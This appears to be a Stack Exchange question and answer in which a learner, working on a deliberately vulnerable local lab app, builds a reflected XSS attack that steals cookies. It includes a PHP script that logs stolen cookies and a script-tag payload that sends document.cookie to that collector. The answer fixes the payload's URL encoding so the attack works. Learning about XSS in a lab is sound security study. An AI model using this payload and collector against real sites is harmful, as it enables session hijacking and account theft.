1

I am trying to learn about XSS so in order to that I have made a web app vulnerable to reflected XSS. I am trying to steal the user's cookies, so if I write the following the cookie value is displayed:

http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>

I want to send the cookie value to the following PHP script (getcookies.php) in my localhost:

<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . '  Cookie: ' . $_GET["c"] .  PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>

When I write in the browser's URL this, the PHP script gets the 'test' value of c param.

http://localhost/getcookies.php?c=test

Instead when I write this, the PHP script does not get any value.

http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>

Could somebody tell me why it doesn't work?

Update:

  • I can also execute this payloads:

    message=<script>document.body.innerHTML = '';</script>
message=<script>document.write("hi");</script>

  • The cookies are not HttpOnly.

  • No, the GET request is not sent to the server.

Improve this question
3
  • This really isn't enough information for us to answer this question. Are other XSS payloads executed? (if not, see here) Are the cookies httpOnly? (if so, it will not work) What does your browser console say? Is there a request to localhost/getcookies.php?
    – tim
    Jan 23, 2017 at 19:18
  • @Tim. First of all thank you for your response. I have found what has happened. The URL was not encoded correctly. I have had to change the + character by %2B in the payload to make it work. What should I do now? answer my own answer or post the solution in the question?
    – v8rs
    Jan 23, 2017 at 20:13
  • I wouldn't add the solution in the question, as it's an answer, not a question (it also adds to the number of unanswered questions). Feel free to add it as an answer (ideally with additional infos; eg how you found it out (did you use an error message in the browser console?)), or just delete the question (I'm not sure if an answer would really help out others having the same problem)
    – tim
    Jan 23, 2017 at 20:23

1 Answer 1

Reset to default
2

I have seen in Firebug that the GET request's sent payload was the following:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27+document.cookie;%3C/script%3E

So the + character was not being URL encoding. I have encoded it: %2B resulting the payload the following:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27%2Bdocument.cookie;%3C/script%3E
Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .